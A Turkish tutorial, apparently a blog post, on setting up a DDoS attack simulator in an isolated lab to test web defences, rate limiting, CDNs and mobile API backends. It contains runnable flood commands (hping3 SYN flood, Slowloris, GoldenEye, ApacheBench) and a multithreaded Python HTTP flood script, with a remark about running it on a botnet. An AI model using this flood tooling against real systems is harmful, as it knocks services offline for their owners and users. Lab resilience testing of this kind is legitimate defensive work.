G\u00fcn\u00fcm\u00fcz\u00fcn dijital d\u00fcnyas\u0131nda siber sald\u0131r\u0131lar, i\u015fletmeler ve bireyler i\u00e7in ciddi bir tehdit olu\u015fturmaktad\u0131r. \u00d6zellikle Da\u011f\u0131t\u0131k Hizmet Engelleme (DDoS) sald\u0131r\u0131lar\u0131, \u00e7evrimi\u00e7i hizmetlerin kesintiye u\u011framas\u0131na yol a\u00e7arak b\u00fcy\u00fck maddi ve itibari kay\u0131plara neden olabilir. Bu makale, kendi DDoS sald\u0131r\u0131 sim\u00fclat\u00f6r\u00fcn\u00fcz\u00fc nas\u0131l kuraca\u011f\u0131n\u0131z\u0131 ve bu sayede savunma stratejilerinizi nas\u0131l geli\u015ftirebilece\u011finizi ad\u0131m ad\u0131m a\u00e7\u0131klayacakt\u0131r.<\/p>\n
DDoS sald\u0131r\u0131lar\u0131, bir hedefin (sunucu, a\u011f veya uygulama) normal trafi\u011fini a\u015facak kadar yo\u011fun, sahte veya gereksiz trafikle bo\u011fularak hizmet d\u0131\u015f\u0131 b\u0131rak\u0131lmas\u0131 amac\u0131 g\u00fcder. Bu sald\u0131r\u0131lar, y\u00fczlerce hatta binlerce farkl\u0131 kaynaktan ayn\u0131 anda ger\u00e7ekle\u015ftirildi\u011fi i\u00e7in savunmas\u0131 olduk\u00e7a zorlu hale gelir. Bir web sitesinin veya uygulaman\u0131n aniden eri\u015filemez hale gelmesi, e-ticaret siteleri i\u00e7in do\u011frudan sat\u0131\u015f kayb\u0131na, bankalar i\u00e7in m\u00fc\u015fteri g\u00fcven kayb\u0131na ve kritik altyap\u0131lar i\u00e7in operasyonel felaketlere yol a\u00e7abilir.<\/p>\n
Peki, bu kadar y\u0131k\u0131c\u0131 sald\u0131r\u0131lara kar\u015f\u0131 nas\u0131l haz\u0131rl\u0131kl\u0131 olabiliriz? \u0130\u015fte tam bu noktada DDoS sald\u0131r\u0131 sim\u00fclat\u00f6rleri devreye giriyor. Bir sim\u00fclat\u00f6r, ger\u00e7ek bir sald\u0131r\u0131n\u0131n potansiyel etkilerini g\u00fcvenlikli ve kontrol edilebilir bir ortamda test etmenizi sa\u011flar. Kendi sistemlerinizin zay\u0131f noktalar\u0131n\u0131 ke\u015ffetmek, mevcut savunma mekanizmalar\u0131n\u0131z\u0131n ne kadar etkili oldu\u011funu g\u00f6rmek ve yeni savunma stratejileri geli\u015ftirmek i\u00e7in vazge\u00e7ilmez bir ara\u00e7t\u0131r. Bu sayede, ger\u00e7ek bir sald\u0131r\u0131 an\u0131nda pani\u011fe kap\u0131lmak yerine, \u00f6nceden belirlenmi\u015f ve test edilmi\u015f bir eylem plan\u0131na sahip olursunuz.<\/p>\n
\u00d6rne\u011fin, bir e-ticaret platformu d\u00fc\u015f\u00fcn\u00fcn. Kara Cuma gibi yo\u011fun al\u0131\u015fveri\u015f d\u00f6nemlerinde, aniden artan trafik veya k\u00f6t\u00fc niyetli bir DDoS sald\u0131r\u0131s\u0131, sitenin \u00e7\u00f6kmesine ve milyonlarca dolarl\u0131k sat\u0131\u015f kayb\u0131na neden olabilir. Bu senaryoyu bir sim\u00fclat\u00f6rde canland\u0131rarak, altyap\u0131n\u0131n ne kadar y\u00fcke dayanabilece\u011fini, g\u00fcvenlik duvarlar\u0131n\u0131n (firewall) ne kadar etkili \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131 ve CDN (\u0130\u00e7erik Da\u011f\u0131t\u0131m A\u011f\u0131) gibi \u00e7\u00f6z\u00fcmlerin performans\u0131 nas\u0131l etkiledi\u011fini \u00f6nceden g\u00f6rebilirsiniz. Bu proaktif yakla\u015f\u0131m, olas\u0131 felaketlerin \u00f6n\u00fcne ge\u00e7mek i\u00e7in kritik \u00f6nem ta\u015f\u0131r. Bir sim\u00fclat\u00f6r kullanarak, farkl\u0131 sald\u0131r\u0131 t\u00fcrlerinin (\u00f6rne\u011fin, HTTP flood, SYN flood veya UDP flood) sistemleriniz \u00fczerindeki etkilerini analiz edebilir, bant geni\u015fli\u011fi t\u00fcketimini izleyebilir ve sunucu yan\u0131t s\u00fcrelerindeki de\u011fi\u015fimleri g\u00f6zlemleyebilirsiniz. Bu detayl\u0131 analizler, g\u00fcvenlik ekibinizin savunma stratejilerini hassas bir \u015fekilde ayarlamas\u0131na ve en kritik varl\u0131klar\u0131 korumak i\u00e7in \u00f6ncelikler belirlemesine yard\u0131mc\u0131 olur. Unutmay\u0131n, en iyi savunma her zaman haz\u0131rl\u0131kl\u0131 olmaktan ge\u00e7er.<\/p>\n
Bir DDoS sald\u0131r\u0131 sim\u00fclat\u00f6r\u00fc, temelinde bir hedef sisteme belirli bir s\u00fcre boyunca kontroll\u00fc ve yo\u011fun bir trafik ak\u0131\u015f\u0131 g\u00f6ndermek \u00fczere tasarlanm\u0131\u015f yaz\u0131l\u0131m veya donan\u0131m sistemidir. Amac\u0131, ger\u00e7ek bir sald\u0131r\u0131 an\u0131ndaki ko\u015fullar\u0131 taklit ederek sistemin performans\u0131n\u0131, zay\u0131fl\u0131klar\u0131n\u0131 ve savunma mekanizmalar\u0131n\u0131n etkinli\u011fini \u00f6l\u00e7mektir. Bu sim\u00fclat\u00f6rler, sald\u0131r\u0131 tipine, hacmine ve hedeflenen katmana g\u00f6re farkl\u0131l\u0131k g\u00f6sterebilir.<\/p>\n
DDoS sald\u0131r\u0131lar\u0131 genellikle OSI modelinin farkl\u0131 katmanlar\u0131n\u0131 hedef al\u0131r:<\/p>\n
Bir sim\u00fclat\u00f6r\u00fcn \u00e7al\u0131\u015fma prensibi, temelde birka\u00e7 ad\u0131mdan olu\u015fur:<\/p>\n
Bu s\u00fcre\u00e7, g\u00fcvenlik ekiplerine kendi altyap\u0131lar\u0131n\u0131 daha iyi anlama ve olas\u0131 sald\u0131r\u0131lara kar\u015f\u0131 daha dayan\u0131kl\u0131 hale getirme f\u0131rsat\u0131 sunar. Sim\u00fclat\u00f6rler sayesinde, savunma mekanizmalar\u0131n\u0131n do\u011fru yap\u0131land\u0131r\u0131l\u0131p yap\u0131land\u0131r\u0131lmad\u0131\u011f\u0131, kapasite planlamas\u0131n\u0131n yeterli olup olmad\u0131\u011f\u0131 ve acil durum m\u00fcdahale planlar\u0131n\u0131n ne kadar i\u015flevsel oldu\u011fu test edilebilir. Bu sayede, “Acaba sistemimiz sald\u0131r\u0131ya dayan\u0131kl\u0131 m\u0131?” sorusuna teorik de\u011fil, pratik bir yan\u0131t bulabilirsiniz.<\/p>\n
DDoS sald\u0131r\u0131 sim\u00fclat\u00f6r\u00fc kurarken kullanabilece\u011finiz bir\u00e7ok farkl\u0131 ara\u00e7 bulunmaktad\u0131r. Bu ara\u00e7lar, farkl\u0131 sald\u0131r\u0131 t\u00fcrlerini taklit etmek ve farkl\u0131 seviyelerde karma\u015f\u0131kl\u0131k sunmak \u00fczere tasarlanm\u0131\u015ft\u0131r. Ba\u015flang\u0131\u00e7 seviyesinden ileri d\u00fczeye kadar \u00e7e\u015fitli se\u00e7enekleri inceleyelim. \u00d6ncelikle, sim\u00fclasyon ortam\u0131n\u0131z\u0131 g\u00fcvenli bir \u015fekilde olu\u015fturman\u0131z \u00e7ok \u00f6nemlidir. Ger\u00e7ek \u00fcretim sistemleri \u00fczerinde test yapmak, ciddi ve istenmeyen kesintilere yol a\u00e7abilir. Bu nedenle, izole edilmi\u015f bir test ortam\u0131 (\u00f6rne\u011fin, sanal makineler, bulut tabanl\u0131 test ortamlar\u0131 veya bir laboratuvar a\u011f\u0131) kullanman\u0131z \u015fartt\u0131r.<\/p>\n
Bir DDoS sald\u0131r\u0131 sim\u00fclat\u00f6r\u00fc kurmadan \u00f6nce, g\u00fcvenli ve izole bir test ortam\u0131 olu\u015fturmak hayati \u00f6nem ta\u015f\u0131r. Bu, ger\u00e7ek sistemlerinize zarar vermeden veya di\u011fer a\u011f kullan\u0131c\u0131lar\u0131n\u0131 etkilemeden test yapabilmenizi sa\u011flar. \u0130\u015fte ad\u0131m ad\u0131m ortam haz\u0131rl\u0131\u011f\u0131:<\/p>\n
Bu ad\u0131mlar\u0131 tamamlad\u0131\u011f\u0131n\u0131zda, kendi g\u00fcvenli siber laboratuvar\u0131n\u0131z\u0131 kurmu\u015f olacaks\u0131n\u0131z. \u015eimdi sald\u0131r\u0131 ara\u00e7lar\u0131na ge\u00e7ebiliriz.<\/p>\n
\nab -n 10000 -c 100 http:\/\/hedef_ip_adresi:port\/\n <\/pre>\n<\/code><\/p>\n
Bu komut, hedef URL'ye 10.000 istek g\u00f6nderir ve ayn\u0131 anda 100 ba\u011flant\u0131 a\u00e7ar. Genellikle web sunucular\u0131n\u0131n HTTP performans\u0131n\u0131 test etmek i\u00e7in kullan\u0131l\u0131r.<\/p>\n<\/li>\n
- hping3:<\/strong> A\u011f katman\u0131 (Katman 3\/4) sald\u0131r\u0131lar\u0131n\u0131 taklit etmek i\u00e7in \u00e7ok y\u00f6nl\u00fc bir ara\u00e7t\u0131r. SYN flood, UDP flood, ICMP flood gibi \u00e7e\u015fitli paket tabanl\u0131 sald\u0131r\u0131lar olu\u015fturabilir.\n
\nsudo hping3 -S --flood -V -p 80 hedef_ip_adresi\n <\/pre>\n<\/code><\/p>\n
Bu komut, hedef IP adresinin 80 numaral\u0131 portuna sonsuz say\u0131da (flood) SYN paketi g\u00f6ndererek bir SYN flood sald\u0131r\u0131s\u0131n\u0131 sim\u00fcle eder.<\/p>\n<\/li>\n
- Slowloris:<\/strong> Uygulama katman\u0131 sald\u0131r\u0131lar\u0131ndan biridir. Hedef sunucudaki ba\u011flant\u0131 havuzunu yava\u015f, eksik HTTP istekleriyle doldurarak yeni ba\u011flant\u0131lar\u0131n kurulmas\u0131n\u0131 engeller. D\u00fc\u015f\u00fck bant geni\u015fli\u011fiyle bile etkili olabilir.\n
\npython slowloris.py -s 1000 -p 80 hedef_ip_adresi\n <\/pre>\n<\/code><\/p>\n
Bu \u00f6rnek, Slowloris arac\u0131n\u0131n Python beti\u011fi ile hedef IP adresine 1000 adet yava\u015f istek g\u00f6ndererek ba\u011flant\u0131 havuzunu t\u00fcketmeyi hedefler.<\/p>\n<\/li>\n
- LOIC (Low Orbit Ion Cannon):<\/strong> Kullan\u0131m\u0131 kolay, grafik aray\u00fczl\u00fc bir ara\u00e7t\u0131r. Hem TCP hem de UDP flood sald\u0131r\u0131lar\u0131 yapabilir. Ancak ger\u00e7ek\u00e7i bir da\u011f\u0131t\u0131k sald\u0131r\u0131 sim\u00fclasyonu i\u00e7in birden fazla LOIC \u00f6rne\u011finin farkl\u0131 makinelerde \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131 gerekir.<\/li>\n
- GoldenEye:<\/strong> HTTP uygulama katman\u0131 sald\u0131r\u0131lar\u0131n\u0131 hedefleyen bir Python arac\u0131d\u0131r. Keep-alive ba\u011flant\u0131lar\u0131 kullanarak sunucunun kaynaklar\u0131n\u0131 t\u00fcketmeyi ama\u00e7lar.\n
\npython goldeneye.py http:\/\/hedef_ip_adresi:port\/ -w 10 -s 500\n <\/pre>\n<\/code><\/p>\n
Bu komut, hedefe 10 worker (i\u015f\u00e7i) ile 500 saniye boyunca HTTP istekleri g\u00f6nderir.<\/p>\n<\/li>\n
- Custom Python Betikleri:<\/strong> Daha geli\u015fmi\u015f ve \u00f6zelle\u015ftirilmi\u015f sald\u0131r\u0131lar i\u00e7in Python ile kendi betiklerinizi yazabilirsiniz. Bu, \u00f6zellikle karma\u015f\u0131k uygulama katman\u0131 sald\u0131r\u0131lar\u0131n\u0131 veya belirli protokol zay\u0131fl\u0131klar\u0131n\u0131 hedeflemek istedi\u011finizde esneklik sa\u011flar.\n
\nimport socket\nimport threading\nimport time\n\ntarget = \"hedef_ip_adresi\"\nport = 80\nfake_ip = \"182.21.20.32\" # Ger\u00e7ek bir IP adresi olmak zorunda de\u011fil\n\ndef attack():\n while True:\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((target, port))\n s.sendto((\"GET \/ HTTP\/1.1\\r\\nHost: \" + fake_ip + \"\\r\\n\\r\\n\").encode('ascii'), (target, port))\n s.close()\n except Exception as e:\n print(f\"Sald\u0131r\u0131 hatas\u0131: {e}\")\n\nfor i in range(500): # 500 i\u015f par\u00e7ac\u0131\u011f\u0131 (thread) ile sald\u0131r\u0131y\u0131 da\u011f\u0131t\n thread = threading.Thread(target=attack)\n thread.start()\n time.sleep(0.01) # Her i\u015f par\u00e7ac\u0131\u011f\u0131 aras\u0131nda k\u0131sa bir bekleme\n <\/pre>\n<\/code><\/p>\n
Yukar\u0131daki Python kodu, basit bir HTTP GET flood sald\u0131r\u0131s\u0131n\u0131 taklit eden k\u00fc\u00e7\u00fck bir \u00f6rnektir. 500 farkl\u0131 i\u015f par\u00e7ac\u0131\u011f\u0131 kullanarak hedefe HTTP GET istekleri g\u00f6nderir. Bu kodu ger\u00e7ek bir botnet ortam\u0131nda \u00e7al\u0131\u015ft\u0131rmak, sim\u00fclasyonu daha ger\u00e7ek\u00e7i hale getirecektir. Bu beti\u011fi, sald\u0131rgan sanal makinelerinize kurarak ve farkl\u0131 IP adresleri atayarak daha da\u011f\u0131t\u0131k bir sald\u0131r\u0131 senaryosu olu\u015fturabilirsiniz.<\/p>\n<\/li>\n<\/ul>\n
\u00d6rnek Vaka: Basit Bir HTTP Flood Sald\u0131r\u0131s\u0131 Sim\u00fclasyonu Nas\u0131l Yap\u0131l\u0131r?<\/h3>\n
\u015eimdi, yukar\u0131da bahsedilen ara\u00e7lardan baz\u0131lar\u0131n\u0131 kullanarak basit bir HTTP flood sald\u0131r\u0131s\u0131n\u0131 nas\u0131l sim\u00fcle edece\u011fimize dair ad\u0131m ad\u0131m bir \u00f6rnek inceleyelim. Bu \u00f6rnekte, ApacheBench (ab) arac\u0131n\u0131 kullanaca\u011f\u0131z.<\/p>\n
\n- Hedef Sistemi Haz\u0131rlay\u0131n:<\/strong> Bir Ubuntu Server sanal makinesine Nginx veya Apache web sunucusu kurun.<\/li>\n
\nsudo apt update\nsudo apt install nginx -y\nsudo systemctl start nginx\nsudo systemctl enable nginx\n <\/pre>\n<\/code><\/p>\n
Nginx'in varsay\u0131lan web sayfas\u0131n\u0131, sald\u0131r\u0131 sonras\u0131 durumunu g\u00f6zlemleyebilmek i\u00e7in basit bir HTML i\u00e7eri\u011fiyle g\u00fcncelleyebilirsiniz: \/var\/www\/html\/index.nginx-debian.html<\/code> dosyas\u0131n\u0131 d\u00fczenleyin.<\/p>\n- Sald\u0131rgan Sistemi Haz\u0131rlay\u0131n:<\/strong> Ayr\u0131 bir Ubuntu veya Kali Linux sanal makinesi kurun. Bu makinede ApacheBench'in kurulu oldu\u011fundan emin olun. Genellikle
apache2-utils<\/code> paketi ile gelir.\n\nsudo apt update\nsudo apt install apache2-utils -y\n <\/pre>\n<\/code>\n <\/li>\n
- Sald\u0131r\u0131y\u0131 Ba\u015flat\u0131n:<\/strong> Sald\u0131rgan makineden terminali a\u00e7\u0131n ve a\u015fa\u011f\u0131daki komutu \u00e7al\u0131\u015ft\u0131r\u0131n (hedef_ip_adresi yerine hedef sunucunuzun IP adresini yaz\u0131n):\n
\nab -n 50000 -c 500 http:\/\/hedef_ip_adresi\/\n <\/pre>\n<\/code><\/p>\n
Bu komut, hedef sunucuya 50.000 HTTP iste\u011fi g\u00f6nderir ve ayn\u0131 anda 500 e\u015fzamanl\u0131 ba\u011flant\u0131 kullan\u0131r. Bu, sunucuyu olduk\u00e7a zorlayacakt\u0131r.<\/p>\n<\/li>\n
- \u0130zleme ve Analiz:<\/strong> Sald\u0131r\u0131 s\u0131ras\u0131nda hedef sunucunun kaynak kullan\u0131m\u0131n\u0131 (CPU, RAM), a\u011f trafi\u011fini ve Nginx\/Apache g\u00fcnl\u00fcklerini izleyin.\n
\n- CPU\/RAM \u0130zleme:<\/strong> Hedef sunucuda
htop<\/code> veya top<\/code> komutunu kullanarak kaynak t\u00fcketimini anl\u0131k olarak g\u00f6rebilirsiniz.\n\nhtop\n <\/pre>\n<\/code>\n <\/li>\n
- A\u011f Trafi\u011fi \u0130zleme:<\/strong>
iftop<\/code> veya nload<\/code> gibi ara\u00e7larla a\u011f aray\u00fcz\u00fcndeki trafik yo\u011funlu\u011funu g\u00f6zlemleyebilirsiniz.\n\nsudo apt install iftop -y\nsudo iftop -i eth0 # eth0 yerine kendi a\u011f aray\u00fcz\u00fcn\u00fcz\u00fc yaz\u0131n\n <\/pre>\n<\/code>\n <\/li>\n
- Web Sunucusu G\u00fcnl\u00fckleri:<\/strong> Nginx eri\u015fim g\u00fcnl\u00fcklerini (
\/var\/log\/nginx\/access.log<\/code>) inceleyerek gelen istek say\u0131s\u0131n\u0131 ve yan\u0131t s\u00fcrelerini kontrol edin.\n\ntail -f \/var\/log\/nginx\/access.log\n <\/pre>\n<\/code>\n <\/li>\n<\/ul>\n<\/li>\n
- Sonu\u00e7lar\u0131 De\u011ferlendirin:<\/strong> Sald\u0131r\u0131 sonras\u0131nda ApacheBench, size detayl\u0131 bir rapor sunacakt\u0131r (istek ba\u015f\u0131na ortalama s\u00fcre, aktar\u0131lan veri miktar\u0131 vb.). Bu verileri, hedef sunucunun performans\u0131 ve dayan\u0131kl\u0131l\u0131\u011f\u0131 hakk\u0131nda fikir edinmek i\u00e7in kullan\u0131n. Web sunucunuz eri\u015filmez hale geldi mi? Ne kadar s\u00fcre sonra normale d\u00f6nd\u00fc? Hangi kaynaklar darbo\u011faz olu\u015fturdu? Bu sorular\u0131n cevaplar\u0131, savunma stratejilerinizi geli\u015ftirmek i\u00e7in yol g\u00f6sterici olacakt\u0131r.<\/li>\n<\/ol>\n
Savunma Stratejilerini Anlamak \u0130\u00e7in Sim\u00fclat\u00f6r Nas\u0131l Kullan\u0131l\u0131r?<\/h2>\n
DDoS sald\u0131r\u0131 sim\u00fclat\u00f6r\u00fcn\u00fcz\u00fc kurup \u00e7al\u0131\u015ft\u0131rmay\u0131 \u00f6\u011frendikten sonra, s\u0131ra en \u00f6nemli ad\u0131ma geliyor: elde etti\u011finiz verileri kullanarak savunma stratejilerinizi anlamak ve g\u00fc\u00e7lendirmek. Sim\u00fclat\u00f6r, bir ayna g\u00f6revi g\u00f6rerek altyap\u0131n\u0131z\u0131n g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 ve g\u00fc\u00e7l\u00fc y\u00f6nlerini size g\u00f6sterir. Ger\u00e7ek bir sald\u0131r\u0131 an\u0131nda nas\u0131l bir reaksiyon g\u00f6sterece\u011finizi \u00f6nceden g\u00f6rmenizi sa\u011flar.<\/p>\n
Savunma stratejilerini anlamak i\u00e7in sim\u00fclat\u00f6r\u00fc kullan\u0131rken \u015fu ad\u0131mlar\u0131 izleyebilirsiniz:<\/p>\n
\n- Mevcut Savunma Mekanizmalar\u0131n\u0131 De\u011ferlendirin:<\/strong> \u00d6ncelikle, web uygulama g\u00fcvenlik duvar\u0131 (WAF), g\u00fcvenlik duvar\u0131 (firewall), IDS\/IPS sistemleri, y\u00fck dengeleyiciler (load balancer) ve h\u0131z s\u0131n\u0131rlama (rate limiting) gibi mevcut savunma mekanizmalar\u0131n\u0131z\u0131n nas\u0131l \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131 anlay\u0131n. Sim\u00fclasyon s\u0131ras\u0131nda bu mekanizmalar\u0131n g\u00fcnl\u00fcklerini (log) ve uyar\u0131lar\u0131n\u0131 dikkatlice inceleyin. Hangi t\u00fcr trafi\u011fi engellediler? Hangi sald\u0131r\u0131lar\u0131 tespit ettiler? Hangi sald\u0131r\u0131lar g\u00f6zden ka\u00e7t\u0131? Bu analiz, savunma katmanlar\u0131n\u0131z\u0131n etkinli\u011fini g\u00f6sterir.<\/li>\n
- Kapasite Planlamas\u0131 ve Y\u00fck Testi:<\/strong> Sim\u00fclat\u00f6r\u00fc, altyap\u0131n\u0131z\u0131n maksimum trafik kapasitesini belirlemek i\u00e7in kullan\u0131n. Ne kadar e\u015fzamanl\u0131 ba\u011flant\u0131ya veya istek hacmine dayanabiliyor? CPU, bellek veya a\u011f bant geni\u015fli\u011fi gibi hangi kaynaklar ilk t\u00fckeniyor? Bu bilgiler, gelecekteki \u00f6l\u00e7eklendirme kararlar\u0131n\u0131z i\u00e7in kritik \u00f6neme sahiptir. \u00d6rne\u011fin, bir web sunucusu belirli bir trafik hacminde %80 CPU kullan\u0131m\u0131na ula\u015f\u0131yorsa, bu bir uyar\u0131 i\u015faretidir ve daha fazla sunucu eklemeyi veya mevcut sunucular\u0131n kaynaklar\u0131n\u0131 y\u00fckseltmeyi d\u00fc\u015f\u00fcnebilirsiniz.<\/li>\n
- Yan\u0131t S\u00fcresi ve Kesinti Zaman\u0131 Analizi:<\/strong> Farkl\u0131 DDoS sald\u0131r\u0131 t\u00fcrleri alt\u0131nda sisteminizin yan\u0131t s\u00fcrelerini ve hizmet kesintisi s\u00fcrelerini \u00f6l\u00e7\u00fcn. Bir sald\u0131r\u0131 ba\u015flad\u0131\u011f\u0131nda, servisler ne kadar s\u00fcrede etkileniyor ve savunma mekanizmalar\u0131 devreye girdi\u011finde ne kadar s\u00fcrede normale d\u00f6n\u00fcl\u00fcyor? Bu metrikler, \"ortalama kurtarma s\u00fcresi\" (MTTR) gibi \u00f6nemli i\u015f s\u00fcreklili\u011fi g\u00f6stergelerini belirlemenize yard\u0131mc\u0131 olur.<\/li>\n
- CDN ve DDoS Koruma Hizmetlerinin Rol\u00fcn\u00fc Test Edin:<\/strong> E\u011fer bir CDN (Cloudflare, Akamai vb.) veya bulut tabanl\u0131 DDoS koruma hizmeti kullan\u0131yorsan\u0131z, sim\u00fclat\u00f6r\u00fcn\u00fcz\u00fc bu hizmetlerin arkas\u0131ndan sald\u0131r\u0131 yaparak test edin. Bu hizmetler, k\u00f6t\u00fc niyetli trafi\u011fi ne kadar etkili bir \u015fekilde filtreleyebiliyor? Ger\u00e7ek trafik bunlardan etkileniyor mu? \u00d6rne\u011fin, WAF kurallar\u0131n\u0131z\u0131 agresif hale getirerek sald\u0131r\u0131y\u0131 engellemeyi deneyin ve me\u015fru kullan\u0131c\u0131lar\u0131n etkilenip etkilenmedi\u011fini g\u00f6zlemleyin.<\/li>\n
- Acil Durum M\u00fcdahale Planlar\u0131n\u0131 Geli\u015ftirin:<\/strong> Sim\u00fclasyon, g\u00fcvenlik ekibinizin bir sald\u0131r\u0131 an\u0131nda nas\u0131l tepki verece\u011fini pratik etmesi i\u00e7in harika bir f\u0131rsatt\u0131r. Kim ne yapacak? Hangi ileti\u015fim kanallar\u0131 kullan\u0131lacak? Hangi otomasyonlar devreye girecek? Bu planlar\u0131 sim\u00fclasyon s\u0131ras\u0131nda test edin ve eksiklikleri giderin. \u00d6rne\u011fin, DDoS alarm\u0131 tetiklendi\u011finde otomatik olarak ekstra sunucular\u0131n devreye girmesi veya trafi\u011fin temizleme merkezlerine y\u00f6nlendirilmesi gibi otomasyonlar\u0131 deneyebilirsiniz.<\/li>\n
- Uygulama Katman\u0131 Zay\u0131fl\u0131klar\u0131n\u0131 Ke\u015ffedin:<\/strong> \u00d6zellikle uygulama katman\u0131 sald\u0131r\u0131lar\u0131 (HTTP flood, Slowloris) i\u00e7in sim\u00fclat\u00f6r\u00fc kullanarak uygulaman\u0131zdaki belirli zay\u0131f noktalar\u0131 tespit edin. Belirli bir URL veya API endpoint'i daha m\u0131 hassas? Sorgu karma\u015f\u0131kl\u0131\u011f\u0131 performans\u0131 nas\u0131l etkiliyor? Bu bilgilerle, uygulaman\u0131z\u0131n kodunu veya yap\u0131land\u0131rmas\u0131n\u0131 optimize edebilirsiniz. \u00d6rne\u011fin, s\u0131k\u00e7a sald\u0131r\u0131ya u\u011frayan API endpoint'leri i\u00e7in \u00f6zel h\u0131z s\u0131n\u0131rlama kurallar\u0131 ekleyebilirsiniz.<\/li>\n<\/ol>\n
Mobil Uygulamalarda DDoS Savunmas\u0131 \u0130\u00e7in Neler Yap\u0131labilir?<\/h3>\n
Mobil uygulamalar do\u011frudan DDoS sald\u0131r\u0131lar\u0131na maruz kalmasa da, ba\u011fl\u0131 olduklar\u0131 backend API'leri ve sunucular DDoS sald\u0131r\u0131lar\u0131n\u0131n hedefi olabilir. Bu durumda mobil kullan\u0131c\u0131lar, uygulaman\u0131n yava\u015flamas\u0131 veya tamamen eri\u015filemez hale gelmesiyle kar\u015f\u0131la\u015f\u0131r. Mobil uygulamalar i\u00e7in savunma stratejileri geli\u015ftirirken, backend altyap\u0131s\u0131n\u0131 korumaya odaklanmak esast\u0131r. Sim\u00fclat\u00f6r\u00fcn\u00fcz\u00fc mobil uygulaman\u0131z\u0131n ba\u011fl\u0131 oldu\u011fu API endpoint'lerine y\u00f6nlendirerek testler yapabilirsiniz.<\/p>\n
\n- API Gateway Kullan\u0131m\u0131:<\/strong> API Gateway'ler, mobil trafik ile backend aras\u0131nda bir katman olu\u015fturarak h\u0131z s\u0131n\u0131rlama, kimlik do\u011frulama, API anahtar\u0131 y\u00f6netimi gibi \u00f6zellikleri sayesinde DDoS sald\u0131r\u0131lar\u0131n\u0131 k\u0131smen hafifletebilir. Sim\u00fclasyon s\u0131ras\u0131nda API Gateway'inizin ne kadar trafi\u011fi filtreleyebildi\u011fini test edin.<\/li>\n
- CDN ve \u00d6n Bellekleme:<\/strong> Mobil uygulamalar\u0131n \u00e7o\u011fu statik i\u00e7erikleri (resimler, videolar, baz\u0131 JSON yan\u0131tlar\u0131) CDN \u00fczerinden \u00e7eker. CDN kullan\u0131m\u0131, backend sunucular \u00fczerindeki y\u00fck\u00fc azalt\u0131r ve DDoS sald\u0131r\u0131lar\u0131nda bile i\u00e7eri\u011fin bir k\u0131sm\u0131n\u0131n eri\u015filebilir kalmas\u0131n\u0131 sa\u011flar. Mobil uygulaman\u0131z\u0131n statik i\u00e7erikleri i\u00e7in CDN'i zorlayarak performans\u0131 \u00f6l\u00e7\u00fcn.<\/li>\n
- Mobil Uygulama \u0130\u00e7i Kimlik Do\u011frulama ve Token Kullan\u0131m\u0131:<\/strong> Her iste\u011fin ge\u00e7erli bir oturum token'\u0131 veya API anahtar\u0131 gerektirmesi, sald\u0131rganlar\u0131n rastgele isteklerle sunucuyu yormas\u0131n\u0131 zorla\u015ft\u0131r\u0131r. Ancak, bu token'lar da \u00e7al\u0131nabilir veya sim\u00fcle edilebilir. Sim\u00fclat\u00f6r\u00fcn\u00fczle ge\u00e7erli token'larla (elde etti\u011finiz) veya ge\u00e7ersiz token'larla sald\u0131r\u0131 yapmay\u0131 deneyin.<\/li>\n
- Geri D\u00fc\u015fme (Fallback) Mekanizmalar\u0131:<\/strong> Backend sistemleri \u00e7\u00f6kt\u00fc\u011f\u00fcnde mobil uygulaman\u0131n nas\u0131l tepki verdi\u011fini test edin. Uygulama kullan\u0131c\u0131ya anlaml\u0131 hata mesajlar\u0131 g\u00f6steriyor mu? \u00c7evrimd\u0131\u015f\u0131 modda \u00e7al\u0131\u015fabilecek baz\u0131 \u00f6zellikler var m\u0131?<\/li>\n<\/ul>\n
Mobil uygulamalar\u0131n performans\u0131n\u0131 etkileyen bir di\u011fer \u00f6nemli fakt\u00f6r, web uygulaman\u0131z\u0131n responsive (duyarl\u0131) tasar\u0131m\u0131d\u0131r. A\u015fa\u011f\u0131daki \u00f6rnek CSS kodu, mobil cihazlar i\u00e7in \u00f6zel stiller tan\u0131mlayarak hem kullan\u0131c\u0131 deneyimini iyile\u015ftirir hem de mobil taray\u0131c\u0131lar\u0131n daha verimli \u00e7al\u0131\u015fmas\u0131na yard\u0131mc\u0131 olur:<\/p>\n
\n